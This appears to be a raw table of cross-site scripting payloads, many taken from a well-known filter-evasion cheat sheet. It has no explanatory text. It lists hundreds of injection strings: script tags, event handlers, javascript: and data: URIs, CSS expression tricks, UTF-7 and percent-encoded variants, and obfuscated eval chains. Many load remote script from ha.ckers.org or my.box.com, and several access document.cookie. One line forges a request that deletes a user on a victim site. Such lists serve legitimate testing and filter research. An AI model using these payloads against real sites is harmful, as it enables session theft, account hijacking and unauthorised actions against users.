| <META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/fy7sdufsuidfhuisdf.css>; REL=stylesheet"> | |
| <STYLE>BODY{-moz-binding:url("http://ha.ckers.org/fy7sdufsuidfhuisdfmoz.xml#fy7sdufsuidfhuisdf")}</STYLE> | |
| <IMG SRC='vbscript:msgbox("fy7sdufsuidfhuisdf")'> | |
| <IMG SRC="mocha:[code]"> | |
| <IMG SRC="livescript:[code]"> | |
| <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('fy7sdufsuidfhuisdf');"> | |
| <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> | |
| <META HTTP-EQUIV="Link" Content="<javascript:alert('fy7sdufsuidfhuisdf')>; REL=stylesheet"> | |
| <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('fy7sdufsuidfhuisdf');"> | |
| <IFRAME SRC="javascript:alert('fy7sdufsuidfhuisdf');"></IFRAME> | |
| <FRAMESET><FRAME SRC="javascript:alert('fy7sdufsuidfhuisdf');"></FRAMESET> | |
| <TABLE BACKGROUND="javascript:alert('fy7sdufsuidfhuisdf')"> | |
| <DIV STYLE="background-image: url(javascript:alert('fy7sdufsuidfhuisdf'))"> | |
| <DIV STYLE="background-image: url(javascript:alert('fy7sdufsuidfhuisdf'))"> | |
| <DIV STYLE="width: expression(alert('fy7sdufsuidfhuisdf'));"> | |
| <STYLE>@im\port'\ja\vasc\ript:alert("fy7sdufsuidfhuisdf")';</STYLE> | |
| <IMG STYLE="fy7sdufsuidfhuisdf:expr/*fy7sdufsuidfhuisdf*/ession(alert('fy7sdufsuidfhuisdf'))"> | |
| <fy7sdufsuidfhuisdf STYLE="fy7sdufsuidfhuisdf:expression(alert('fy7sdufsuidfhuisdf'))"> | |
| exp/*<fy7sdufsuidfhuisdf STYLE='no\fy7sdufsuidfhuisdf:nofy7sdufsuidfhuisdf("*//*"); | |
| <STYLE TYPE="text/javascript">alert('fy7sdufsuidfhuisdf');</STYLE> | |
| <STYLE>.fy7sdufsuidfhuisdf{background-image:url("javascript:alert('fy7sdufsuidfhuisdf')");}</STYLE><A CLASS=fy7sdufsuidfhuisdf></A> | |
| <STYLE type="text/css">BODY{background:url("javascript:alert('fy7sdufsuidfhuisdf')")}</STYLE> | |
| <BASE HREF="javascript:alert('fy7sdufsuidfhuisdf');//"> | |
| <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT> | |
| <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('fy7sdufsuidfhuisdf')></OBJECT> | |
| getURL("javascript:alert('fy7sdufsuidfhuisdf')") | |
| a="get"; | |
| <!--<value><![CDATA[<XML ID=I><X><C><![CDATA[<IMG SRC="javas<![CDATA[cript:alert('fy7sdufsuidfhuisdf');"> | |
| <XML SRC="http://ha.ckers.org/fy7sdufsuidfhuisdftest.xml" ID=I></XML> | |
| <HTML><BODY> | |
| <SCRIPT SRC="http://ha.ckers.org/fy7sdufsuidfhuisdf.jpg"></SCRIPT> | |
| <!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/fy7sdufsuidfhuisdf.js></SCRIPT>'"--> | |
| <? echo('<SCR)'; | |
| <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('fy7sdufsuidfhuisdf')</SCRIPT>"> | |
| <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('fy7sdufsuidfhuisdf');+ADw-/SCRIPT+AD4- | |
| <SCRIPT a=">" SRC="http://ha.ckers.org/fy7sdufsuidfhuisdf.js"></SCRIPT> | |
| <SCRIPT a=">" '' SRC="http://ha.ckers.org/fy7sdufsuidfhuisdf.js"></SCRIPT> | |
| <SCRIPT "a='>'" SRC="http://ha.ckers.org/fy7sdufsuidfhuisdf.js"></SCRIPT> | |
| <SCRIPT a=`>` SRC="http://ha.ckers.org/fy7sdufsuidfhuisdf.js"></SCRIPT> | |
| <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/fy7sdufsuidfhuisdf.js"></SCRIPT> | |
| <script>alert(fy7sdufsuidfhuisdf)</script> | |
| <script>alert("hellox worldss");</script> | |
| javascript:alert("hellox worldss") | |
| <img src="javascript:alert('fy7sdufsuidfhuisdf');"> | |
| <img src=javascript:alert("fy7sdufsuidfhuisdf")> | |
| <"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> | |
| <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> | |
| <IFRAME SRC="javascript:alert('fy7sdufsuidfhuisdf');"></IFRAME> | |
| <EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED> | |
| <SCRIPT a=">" SRC="http://ha.ckers.org/fy7sdufsuidfhuisdf.js"></SCRIPT> | |
| <SCRIPT a=">" '' SRC="http://ha.ckers.org/fy7sdufsuidfhuisdf.js"></SCRIPT> | |
| <SCRIPT "a='>'" SRC="http://ha.ckers.org/fy7sdufsuidfhuisdf.js"></SCRIPT> | |
| <SCRIPT a=">'>" SRC="http://ha.ckers.org/fy7sdufsuidfhuisdf.js"></SCRIPT> | |
| <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/fy7sdufsuidfhuisdf.js"></SCRIPT> | |
| <<SCRIPT>alert("fy7sdufsuidfhuisdf");//<</SCRIPT> | |
| <"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> | |
| ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))<?/SCRIPT>&submit.x=27&submit.y=9&cmd=search | |
| <script>alert("fy7sdufsuidfhuisdf")</script>&safe=high&cx=006665157904466893121:su_tzknyxug&cof=FORID:9#510 | |
| <script>alert("fy7sdufsuidfhuisdf");</script>&search=1 | |
| 0&q=';alert(String.fromCharCode(88,83,83))//\';alert%2?8String.fromCharCode(88,83,83))//";alert(String.fromCharCode?(88,83,83))//\";alert(String.fromCharCode(88,83,83)%?29//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83%?2C83))</SCRIPT>&submit-frmGoogleWeb=Web+Search | |
| <h1><font color=blue>hellox worldss</h1> | |
| <BODY ONLOAD=alert('hellox worldss')> | |
| <input onfocus=write(fy7sdufsuidfhuisdf) autofocus> | |
| <input onblur=write(fy7sdufsuidfhuisdf) autofocus><input autofocus> | |
| <body onscroll=alert(fy7sdufsuidfhuisdf)><br><br><br><br><br><br>...<br><br><br><br><input autofocus> | |
| <form><button formaction="javascript:alert(fy7sdufsuidfhuisdf)">lol | |
| <!--<img src="--><img src=x onerror=alert(fy7sdufsuidfhuisdf)//"> | |
| <![><img src="]><img src=x onerror=alert(fy7sdufsuidfhuisdf)//"> | |
| <style><img src="</style><img src=x onerror=alert(fy7sdufsuidfhuisdf)//"> | |
| <? foo="><script>alert("fy7sdufsuidfhuisdf")</script>"> | |
| <! foo="><script>alert("fy7sdufsuidfhuisdf")</script>"> | |
| </ foo="><script>alert("fy7sdufsuidfhuisdf")</script>"> | |
| <? foo="><x foo='?><script>alert("fy7sdufsuidfhuisdf")</script>'>"> | |
| <! foo="[[[Inception]]"><x foo="]foo><script>alert("fy7sdufsuidfhuisdf")</script>"> | |
| <% foo><x foo="%><script>alert("fy7sdufsuidfhuisdf")</script>"> | |
| <div style="font-family:'foo ;color:red;';">LOL | |
| LOL<style>*{/*all*/color/*all*/:/*all*/red/*all*/;/[0]*IE,Safari*[0]/color:green;color:bl/*IE*/ue;}</style> | |
| <script>({0:#0=alert/#0#/#0#(0)})</script> | |
| <svg xmlns="http://www.w3.org/2000/svg">LOL<script>alert(fy7sdufsuidfhuisdf)</script></svg> | |
| <SCRIPT>alert(/fy7sdufsuidfhuisdf/.source)</SCRIPT> | |
| \\";alert('fy7sdufsuidfhuisdf');// | |
| </TITLE><SCRIPT>alert(\"fy7sdufsuidfhuisdf\");</SCRIPT> | |
| <INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('fy7sdufsuidfhuisdf');\"> | |
| <BODY BACKGROUND=\"javascript:alert('fy7sdufsuidfhuisdf')\"> | |
| <BODY ONLOAD=alert('fy7sdufsuidfhuisdf')> | |
| <IMG DYNSRC=\"javascript:alert('fy7sdufsuidfhuisdf')\"> | |
| <IMG LOWSRC=\"javascript:alert('fy7sdufsuidfhuisdf')\"> | |
| <BGSOUND SRC=\"javascript:alert('fy7sdufsuidfhuisdf');\"> | |
| <BR SIZE=\"&{alert('fy7sdufsuidfhuisdf')}\"> | |
| <LAYER SRC=\"http://ha.ckers.org/scriptlet.html\"></LAYER> | |
| <LINK REL=\"stylesheet\" HREF=\"javascript:alert('fy7sdufsuidfhuisdf');\"> | |
| <LINK REL=\"stylesheet\" HREF=\"http://ha.ckers.org/fy7sdufsuidfhuisdf.css\"> | |
| <STYLE>@import'http://ha.ckers.org/fy7sdufsuidfhuisdf.css';</STYLE> | |
| <META HTTP-EQUIV=\"Link\" Content=\"<http://ha.ckers.org/fy7sdufsuidfhuisdf.css>; REL=stylesheet\"> | |
| <STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/fy7sdufsuidfhuisdfmoz.xml#fy7sdufsuidfhuisdf\")}</STYLE> | |
| <fy7sdufsuidfhuisdf STYLE=\"behavior: url(fy7sdufsuidfhuisdf.htc);\"> | |
| <STYLE>li {list-style-image: url(\"javascript:alert('fy7sdufsuidfhuisdf')\");}</STYLE><UL><LI>fy7sdufsuidfhuisdf | |
| <IMG SRC='vbscript:msgbox(\"fy7sdufsuidfhuisdf\")'> | |
| <IMG SRC=\"mocha:[code]\"> | |
| <IMG SRC=\"livescript:[code]\"> | |
| ?scriptualert(Efy7sdufsuidfhuisdfE)?/scriptu | |
| <META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('fy7sdufsuidfhuisdf');\"> | |
| <META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\"> | |
| <META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('fy7sdufsuidfhuisdf');\" | |
| <IFRAME SRC=\"javascript:alert('fy7sdufsuidfhuisdf');\"></IFRAME> | |
| <FRAMESET><FRAME SRC=\"javascript:alert('fy7sdufsuidfhuisdf');\"></FRAMESET> | |
| <TABLE BACKGROUND=\"javascript:alert('fy7sdufsuidfhuisdf')\"> | |
| <TABLE><TD BACKGROUND=\"javascript:alert('fy7sdufsuidfhuisdf')\"> | |
| <DIV STYLE=\"background-image: url(javascript:alert('fy7sdufsuidfhuisdf'))\"> | |
| <DIV STYLE=\"background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029\"> | |
| <DIV STYLE=\"background-image: url(javascript:alert('fy7sdufsuidfhuisdf'))\"> | |
| <DIV STYLE=\"width: expression(alert('fy7sdufsuidfhuisdf'));\"> | |
| <STYLE>@im\port'\ja\vasc\ript:alert(\"fy7sdufsuidfhuisdf\")';</STYLE> | |
| <IMG STYLE=\"fy7sdufsuidfhuisdf:expr/*fy7sdufsuidfhuisdf*/ession(alert('fy7sdufsuidfhuisdf'))\"> | |
| <fy7sdufsuidfhuisdf STYLE=\"fy7sdufsuidfhuisdf:expression(alert('fy7sdufsuidfhuisdf'))\"> | |
| exp/*<A STYLE='no\fy7sdufsuidfhuisdf:nofy7sdufsuidfhuisdf(\"*//*\"); | |
| fy7sdufsuidfhuisdf:ex/*fy7sdufsuidfhuisdf*//*/*/pression(alert(\"fy7sdufsuidfhuisdf\"))'> | |
| <STYLE TYPE=\"text/javascript\">alert('fy7sdufsuidfhuisdf');</STYLE> | |
| <STYLE>.fy7sdufsuidfhuisdf{background-image:url(\"javascript:alert('fy7sdufsuidfhuisdf')\");}</STYLE><A CLASS=fy7sdufsuidfhuisdf></A> | |
| <STYLE type=\"text/css\">BODY{background:url(\"javascript:alert('fy7sdufsuidfhuisdf')\")}</STYLE> | |
| <!--[if gte IE 4]> | |
| <SCRIPT>alert('fy7sdufsuidfhuisdf');</SCRIPT> | |
| <![endif]--> | |
| <BASE HREF=\"javascript:alert('fy7sdufsuidfhuisdf');//\"> | |
| <OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"></OBJECT> | |
| <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('fy7sdufsuidfhuisdf')></OBJECT> | |
| <EMBED SRC=\"http://ha.ckers.org/fy7sdufsuidfhuisdf.swf\" AllowScriptAccess=\"always\"></EMBED> | |
| <EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED> | |
| a=\"get\"; | |
| b=\"URL(\\"\"; | |
| c=\"javascript:\"; | |
| d=\"alert('fy7sdufsuidfhuisdf');\\")\"; | |
| eval(a+b+c+d); | |
| <HTML xmlns:fy7sdufsuidfhuisdf><?import namespace=\"fy7sdufsuidfhuisdf\" implementation=\"http://ha.ckers.org/fy7sdufsuidfhuisdf.htc\"><fy7sdufsuidfhuisdf:fy7sdufsuidfhuisdf>fy7sdufsuidfhuisdf</fy7sdufsuidfhuisdf:fy7sdufsuidfhuisdf></HTML> | |
| <XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]><![CDATA[cript:alert('fy7sdufsuidfhuisdf');\">]]> | |
| </C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> | |
| <XML ID=\"fy7sdufsuidfhuisdf\"><I><B><IMG SRC=\"javas<!-- -->cript:alert('fy7sdufsuidfhuisdf')\"></B></I></XML> | |
| <SPAN DATASRC=\"#fy7sdufsuidfhuisdf\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"></SPAN> | |
| <XML SRC=\"fy7sdufsuidfhuisdftest.xml\" ID=I></XML> | |
| <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> | |
| <HTML><BODY> | |
| <?xml:namespace prefix=\"t\" ns=\"urn:schemas-microsoft-com:time\"> | |
| <?import namespace=\"t\" implementation=\"#default#time2\"> | |
| <t:set attributeName=\"innerHTML\" to=\"fy7sdufsuidfhuisdf<SCRIPT DEFER>alert("fy7sdufsuidfhuisdf")</SCRIPT>\"> | |
| </BODY></HTML> | |
| <SCRIPT SRC=\"http://ha.ckers.org/fy7sdufsuidfhuisdf.jpg\"></SCRIPT> | |
| <!--#exec cmd=\"/bin/echo '<SCR'\"--><!--#exec cmd=\"/bin/echo 'IPT SRC=http://ha.ckers.org/fy7sdufsuidfhuisdf.js></SCRIPT>'\"--> | |
| <? echo('<SCR)'; | |
| echo('IPT>alert(\"fy7sdufsuidfhuisdf\")</SCRIPT>'); ?> | |
| <IMG SRC=\"http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode\"> | |
| Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser | |
| <META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=<SCRIPT>alert('fy7sdufsuidfhuisdf')</SCRIPT>\"> | |
| <HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"> </HEAD>+ADw-SCRIPT+AD4-alert('fy7sdufsuidfhuisdf');+ADw-/SCRIPT+AD4- | |
| <SCRIPT a=\">\" SRC=\"http://ha.ckers.org/fy7sdufsuidfhuisdf.js\"></SCRIPT> | |
| <SCRIPT =\">\" SRC=\"http://ha.ckers.org/fy7sdufsuidfhuisdf.js\"></SCRIPT> | |
| <SCRIPT a=\">\" '' SRC=\"http://ha.ckers.org/fy7sdufsuidfhuisdf.js\"></SCRIPT> | |
| <SCRIPT \"a='>'\" SRC=\"http://ha.ckers.org/fy7sdufsuidfhuisdf.js\"></SCRIPT> | |
| <SCRIPT a=`>` SRC=\"http://ha.ckers.org/fy7sdufsuidfhuisdf.js\"></SCRIPT> | |
| <SCRIPT a=\">'>\" SRC=\"http://ha.ckers.org/fy7sdufsuidfhuisdf.js\"></SCRIPT> | |
| <SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://ha.ckers.org/fy7sdufsuidfhuisdf.js\"></SCRIPT> | |
| <A HREF=\"http://66.102.7.147/\">fy7sdufsuidfhuisdf</A> | |
| <A HREF=\"http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D\">fy7sdufsuidfhuisdf</A> | |
| <A HREF=\"http://1113982867/\">fy7sdufsuidfhuisdf</A> | |
| <A HREF=\"http://0x42.0x0000066.0x7.0x93/\">fy7sdufsuidfhuisdf</A> | |
| <A HREF=\"http://0102.0146.0007.00000223/\">fy7sdufsuidfhuisdf</A> | |
| <A HREF=\"htt p://6 6.000146.0x7.147/\">fy7sdufsuidfhuisdf</A> | |
| <A HREF=\"//www.google.com/\">fy7sdufsuidfhuisdf</A> | |
| <A HREF=\"//google\">fy7sdufsuidfhuisdf</A> | |
| <A HREF=\"http://ha.ckers.org@google\">fy7sdufsuidfhuisdf</A> | |
| <A HREF=\"http://google:ha.ckers.org\">fy7sdufsuidfhuisdf</A> | |
| <A HREF=\"http://google.com/\">fy7sdufsuidfhuisdf</A> | |
| <A HREF=\"http://www.google.com./\">fy7sdufsuidfhuisdf</A> | |
| <A HREF=\"javascript:document.location='http://www.google.com/'\">fy7sdufsuidfhuisdf</A> | |
| <A HREF=\"http://www.gohttp://www.google.com/ogle.com/\">fy7sdufsuidfhuisdf</A> | |
| < | |
| %3C | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| \x3c | |
| \x3C | |
| \u003c | |
| \u003C | |
| <iframe src=http://ha.ckers.org/scriptlet.html> | |
| <IMG SRC=\"javascript:alert('fy7sdufsuidfhuisdf')\" | |
| <SCRIPT SRC=//ha.ckers.org/.js> | |
| <SCRIPT SRC=http://ha.ckers.org/fy7sdufsuidfhuisdf.js?<B> | |
| <<SCRIPT>alert(\"fy7sdufsuidfhuisdf\");//<</SCRIPT> | |
| <SCRIPT/SRC=\"http://ha.ckers.org/fy7sdufsuidfhuisdf.js\"></SCRIPT> | |
| <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(\"fy7sdufsuidfhuisdf\")> | |
| <SCRIPT/fy7sdufsuidfhuisdf SRC=\"http://ha.ckers.org/fy7sdufsuidfhuisdf.js\"></SCRIPT> | |
| <IMG SRC=\" javascript:alert('fy7sdufsuidfhuisdf');\"> | |
| perl -e 'print \"<SCR\0IPT>alert(\\"fy7sdufsuidfhuisdf\\")</SCR\0IPT>\";' > out | |
| perl -e 'print \"<IMG SRC=java\0script:alert(\\"fy7sdufsuidfhuisdf\\")>\";' > out | |
| <IMG SRC=\"jav
ascript:alert('fy7sdufsuidfhuisdf');\"> | |
| <IMG SRC=\"jav
ascript:alert('fy7sdufsuidfhuisdf');\"> | |
| <IMG SRC=\"jav	ascript:alert('fy7sdufsuidfhuisdf');\"> | |
| <IMG SRC=javascript:alert('XSS')> | |
| <IMG SRC=javascript:alert('XSS')> | |
| <IMG SRC=javascript:alert('fy7sdufsuidfhuisdf')> | |
| <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> | |
| <IMG \"\"\"><SCRIPT>alert(\"fy7sdufsuidfhuisdf\")</SCRIPT>\"> | |
| <IMG SRC=`javascript:alert(\"RSnake says, 'fy7sdufsuidfhuisdf'\")`> | |
| <IMG SRC=javascript:alert("fy7sdufsuidfhuisdf")> | |
| <IMG SRC=JaVaScRiPt:alert('fy7sdufsuidfhuisdf')> | |
| <IMG SRC=javascript:alert('fy7sdufsuidfhuisdf')> | |
| <IMG SRC=\"javascript:alert('fy7sdufsuidfhuisdf');\"> | |
| <SCRIPT SRC=http://ha.ckers.org/fy7sdufsuidfhuisdf.js></SCRIPT> | |
| '';!--\"<fy7sdufsuidfhuisdf>=&{()} | |
| ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//\\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>\">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> | |
| ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> | |
| '';!--"<fy7sdufsuidfhuisdf>=&{()} | |
| <SCRIPT SRC=http://ha.ckers.org/fy7sdufsuidfhuisdf.js></SCRIPT> | |
| <IMG SRC="javascript:alert('fy7sdufsuidfhuisdf');"> | |
| <IMG SRC=javascript:alert('fy7sdufsuidfhuisdf')> | |
| <IMG SRC=javascrscriptipt:alert('fy7sdufsuidfhuisdf')> | |
| <IMG SRC=JaVaScRiPt:alert('fy7sdufsuidfhuisdf')> | |
| <IMG """><SCRIPT>alert("fy7sdufsuidfhuisdf")</SCRIPT>"> | |
| <IMG SRC="  javascript:alert('fy7sdufsuidfhuisdf');"> | |
| <SCRIPT/fy7sdufsuidfhuisdf SRC="http://ha.ckers.org/fy7sdufsuidfhuisdf.js"></SCRIPT> | |
| <SCRIPT/SRC="http://ha.ckers.org/fy7sdufsuidfhuisdf.js"></SCRIPT> | |
| <<SCRIPT>alert("fy7sdufsuidfhuisdf");//<</SCRIPT> | |
| <SCRIPT>a=/fy7sdufsuidfhuisdf/alert(a.source)</SCRIPT> | |
| \";alert('fy7sdufsuidfhuisdf');// | |
| </TITLE><SCRIPT>alert("fy7sdufsuidfhuisdf");</SCRIPT> | |
| ¼script¾alert(¢fy7sdufsuidfhuisdf¢)¼/script¾ | |
| <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('fy7sdufsuidfhuisdf');"> | |
| <IFRAME SRC="javascript:alert('fy7sdufsuidfhuisdf');"></IFRAME> | |
| <FRAMESET><FRAME SRC="javascript:alert('fy7sdufsuidfhuisdf');"></FRAMESET> | |
| <TABLE BACKGROUND="javascript:alert('fy7sdufsuidfhuisdf')"> | |
| <TABLE><TD BACKGROUND="javascript:alert('fy7sdufsuidfhuisdf')"> | |
| <DIV STYLE="background-image: url(javascript:alert('fy7sdufsuidfhuisdf'))"> | |
| <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"> | |
| <DIV STYLE="width: expression(alert('fy7sdufsuidfhuisdf'));"> | |
| <STYLE>@im\port'\ja\vasc\ript:alert("fy7sdufsuidfhuisdf")';</STYLE> | |
| <IMG STYLE="fy7sdufsuidfhuisdf:expr/*fy7sdufsuidfhuisdf*/ession(alert('fy7sdufsuidfhuisdf'))"> | |
| <fy7sdufsuidfhuisdf STYLE="fy7sdufsuidfhuisdf:expression(alert('fy7sdufsuidfhuisdf'))"> | |
| exp/*<A STYLE='no\fy7sdufsuidfhuisdf:nofy7sdufsuidfhuisdf("*//*");fy7sdufsuidfhuisdf:ex/*fy7sdufsuidfhuisdf*//*/*/pression(alert("fy7sdufsuidfhuisdf"))'> | |
| <EMBED SRC="http://ha.ckers.org/fy7sdufsuidfhuisdf.swf" AllowScriptAccess="always"></EMBED> | |
| a="get";b="URL(ja\"";c="vascr";d="ipt:ale";e="rt('fy7sdufsuidfhuisdf');\")";eval(a+b+c+d+e); | |
| <SCRIPT SRC="http://ha.ckers.org/fy7sdufsuidfhuisdf.jpg"></SCRIPT> | |
| <HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="fy7sdufsuidfhuisdf<SCRIPT DEFER>alert("fy7sdufsuidfhuisdf")</SCRIPT>"></BODY></HTML> | |
| <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/fy7sdufsuidfhuisdf.js"></SCRIPT> | |
| <form id="test" /><button form="test" formaction="javascript:alert(fy7sdufsuidfhuisdf)">TESTHTML5FORMACTION | |
| <form><button formaction="javascript:alert(fy7sdufsuidfhuisdf)">crosssitespt | |
| <frameset onload=alert(fy7sdufsuidfhuisdf)> | |
| <!--<img src="--><img src=x onerror=alert(fy7sdufsuidfhuisdf)//"> | |
| <style><img src="</style><img src=x onerror=alert(fy7sdufsuidfhuisdf)//"> | |
| <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="> | |
| <embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="> | |
| <embed src="javascript:alert("fy7sdufsuidfhuisdf")"> | |
| <? foo="><script>alert("fy7sdufsuidfhuisdf")</script>"> | |
| <! foo="><script>alert("fy7sdufsuidfhuisdf")</script>"> | |
| </ foo="><script>alert("fy7sdufsuidfhuisdf")</script>"> | |
| <script>({0:#0=alert/#0#/#0#(fy7sdufsuidfhuisdf)})</script> | |
| <script>ReferenceError.prototype.__defineGetter__('name', function(){alert(fy7sdufsuidfhuisdf)}),x</script> | |
| <script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert("fy7sdufsuidfhuisdf")')()</script> | |
| <script src="#">{alert("fy7sdufsuidfhuisdf")}</script>;1 | |
| <script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert("fy7sdufsuidfhuisdf")',384,null,'rsa-dual-use')</script> | |
| <svg xmlns="#"><script>alert("fy7sdufsuidfhuisdf")</script></svg> | |
| <svg/onload=alert(document.domain)> | |
| <svg onload="javascript:alert(fy7sdufsuidfhuisdf)" xmlns="#"></svg> | |
| <iframe xmlns="#" src="javascript:alert("fy7sdufsuidfhuisdf")"></iframe> | |
| +ADw-script+AD4-alert(document.location)+ADw-/script+AD4- //utf-7 | |
| %2BADw-script+AD4-alert(document.location)%2BADw-/script%2BAD4- | |
| +ACIAPgA8-script+AD4-alert(document.location)+ADw-/script+AD4APAAi- | |
| %2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi- | |
| %253cscript%253ealert(document.cookie)%253c/script%253e | |
| “><s”%2b”cript>alert(document.cookie)</script> | |
| “><ScRiPt>alert(document.cookie)</script> | |
| “><<script>alert(document.cookie);//<</script> | |
| foo<script>alert(document.cookie)</script> | |
| <scr<script>ipt>alert(document.cookie)</scr</script>ipt> | |
| %22/%3E%3CBODY%20onload=’document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/fy7sdufsuidfhuisdf.js%3E%3C/script%3E%22)’%3E | |
| ‘; alert(document.cookie); var foo=’ | |
| foo\’; alert(document.cookie);//’; | |
| </script><script >alert(document.cookie)</script> | |
| <img src=asdf onerror=alert(document.cookie)> | |
| <BODY ONLOAD=alert(’fy7sdufsuidfhuisdf’)> | |
| <script>alert("fy7sdufsuidfhuisdf")</script> | |
| "><script>alert(String.fromCharCode(66, 108, 65, 99, 75, 73, 99, 101))</script> | |
